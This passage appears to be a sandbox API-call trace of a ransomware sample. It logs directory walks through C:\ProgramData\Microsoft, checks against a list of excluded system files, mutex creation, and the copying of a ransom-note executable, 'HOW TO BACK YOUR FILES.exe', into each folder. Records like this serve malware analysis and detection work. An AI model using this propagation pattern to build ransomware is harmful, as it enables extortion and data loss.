lstrcmpiW (lpString1="Device", lpString2="..") returned 1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="windows") returned -1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="bootmgr") returned 1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="temp") returned -1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="pagefile.sys") returned -1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="boot") returned 1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="ids.txt") returned -1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="ntuser.dat") returned -1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="perflogs") returned -1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="MSBuild") returned -1 [0097.730] lstrlenW (lpString="Device") returned 6 [0097.730] lstrcpyW (in: lpString1=0x241e894, lpString2="Device" | out: lpString1="Device") returned="Device" [0097.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b78 [0097.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x524290 [0097.730] lstrcatW (in: lpString1="Device", lpString2="\\" | out: lpString1="Device\\") returned="Device\\" [0097.730] lstrcatW (in: lpString1="Device\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Device\\HOW TO BACK YOUR FILES.exe") returned="Device\\HOW TO BACK YOUR FILES.exe" [0097.730] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.744] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc479dca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.744] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.744] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2=".") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="..") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="windows") returned -1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="bootmgr") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="temp") returned -1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="pagefile.sys") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="boot") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="ids.txt") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="ntuser.dat") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="perflogs") returned 1 [0097.744] lstrcmpiW (lpString1="Task", lpString2="MSBuild") returned 1 [0097.744] lstrlenW (lpString="Task") returned 4 [0097.744] lstrcpyW (in: lpString1=0x241e894, lpString2="Task" | out: lpString1="Task") returned="Task" [0097.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b48 [0097.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52fa40 [0097.745] lstrcatW (in: lpString1="Task", lpString2="\\" | out: lpString1="Task\\") returned="Task\\" [0097.745] lstrcatW (in: lpString1="Task\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Task\\HOW TO BACK YOUR FILES.exe") returned="Task\\HOW TO BACK YOUR FILES.exe" [0097.745] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.752] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0097.752] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.752] ReleaseMutex (hMutex=0xec) returned 1 [0097.752] CloseHandle (hObject=0xec) returned 1 [0097.753] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\DeviceSync" | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync" [0097.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517258 | out: hHeap=0x4f0000) returned 1 [0097.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530b90 | out: hHeap=0x4f0000) returned 1 [0097.753] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DeviceSync") returned 35 [0097.753] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0BFB50E4BE1901DF746C563A89E99835") returned 0xec [0097.753] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.753] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\DeviceSync" | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync" [0097.753] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.753] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.753] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\devicesync\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.754] GetLastError () returned 0x0 [0097.754] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.754] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.754] CloseHandle (hObject=0xf4) returned 1 [0097.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.755] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.755] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.755] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.755] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.755] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.755] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.755] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.755] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.755] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.755] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.755] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc479dca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.755] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.755] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc479dca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0097.755] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.755] ReleaseMutex (hMutex=0xec) returned 1 [0097.755] CloseHandle (hObject=0xec) returned 1 [0097.755] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\DRM" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0097.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f5f8 | out: hHeap=0x4f0000) returned 1 [0097.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530ba8 | out: hHeap=0x4f0000) returned 1 [0097.755] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM") returned 28 [0097.756] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1939C612B07777D8FC2964EE2432CCFF") returned 0xec [0097.756] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.756] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\DRM" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0097.756] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.756] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.756] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\drm\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.756] GetLastError () returned 0x0 [0097.756] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.756] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.757] CloseHandle (hObject=0xf4) returned 1 [0097.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.757] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.757] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.758] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.758] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.758] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.758] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.758] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.758] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.758] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.758] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.758] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc479dca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.758] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.758] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2=".") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="..") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="windows") returned -1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="bootmgr") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="temp") returned -1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="pagefile.sys") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="boot") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="ids.txt") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="ntuser.dat") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="perflogs") returned 1 [0097.758] lstrcmpiW (lpString1="Server", lpString2="MSBuild") returned 1 [0097.758] lstrlenW (lpString="Server") returned 6 [0097.758] lstrcpyW (in: lpString1=0x241e882, lpString2="Server" | out: lpString1="Server") returned="Server" [0097.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ba8 [0097.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517258 [0097.759] lstrcatW (in: lpString1="Server", lpString2="\\" | out: lpString1="Server\\") returned="Server\\" [0097.759] lstrcatW (in: lpString1="Server\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Server\\HOW TO BACK YOUR FILES.exe") returned="Server\\HOW TO BACK YOUR FILES.exe" [0097.759] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\drm\\server\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.761] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0097.761] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.761] ReleaseMutex (hMutex=0xec) returned 1 [0097.761] CloseHandle (hObject=0xec) returned 1 [0097.761] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\eHome" | out: lpString1="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0097.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f5b0 | out: hHeap=0x4f0000) returned 1 [0097.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530bc0 | out: hHeap=0x4f0000) returned 1 [0097.761] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\eHome") returned 30 [0097.761] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\330086DE50712DCBCDC2217BBD5FC9DF") returned 0xec [0097.761] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.761] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\eHome" | out: lpString1="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0097.761] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.761] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.762] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\ehome\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.762] GetLastError () returned 0x0 [0097.762] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.762] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.763] CloseHandle (hObject=0xf4) returned 1 [0097.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.763] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.763] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.763] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.763] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.763] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.763] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.763] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.763] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.763] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.763] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.763] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc479dca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.764] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.764] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.764] lstrcmpiW (lpString1="logs", lpString2=".") returned 1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="..") returned 1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="windows") returned -1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="bootmgr") returned 1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="temp") returned -1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="pagefile.sys") returned -1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="boot") returned 1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="ids.txt") returned 1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="ntuser.dat") returned -1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="perflogs") returned -1 [0097.764] lstrcmpiW (lpString1="logs", lpString2="MSBuild") returned -1 [0097.764] lstrlenW (lpString="logs") returned 4 [0097.764] lstrcpyW (in: lpString1=0x241e886, lpString2="logs" | out: lpString1="logs") returned="logs" [0097.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530bc0 [0097.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517438 [0097.764] lstrcatW (in: lpString1="logs", lpString2="\\" | out: lpString1="logs\\") returned="logs\\" [0097.764] lstrcatW (in: lpString1="logs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="logs\\HOW TO BACK YOUR FILES.exe") returned="logs\\HOW TO BACK YOUR FILES.exe" [0097.764] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\ehome\\logs\\how to 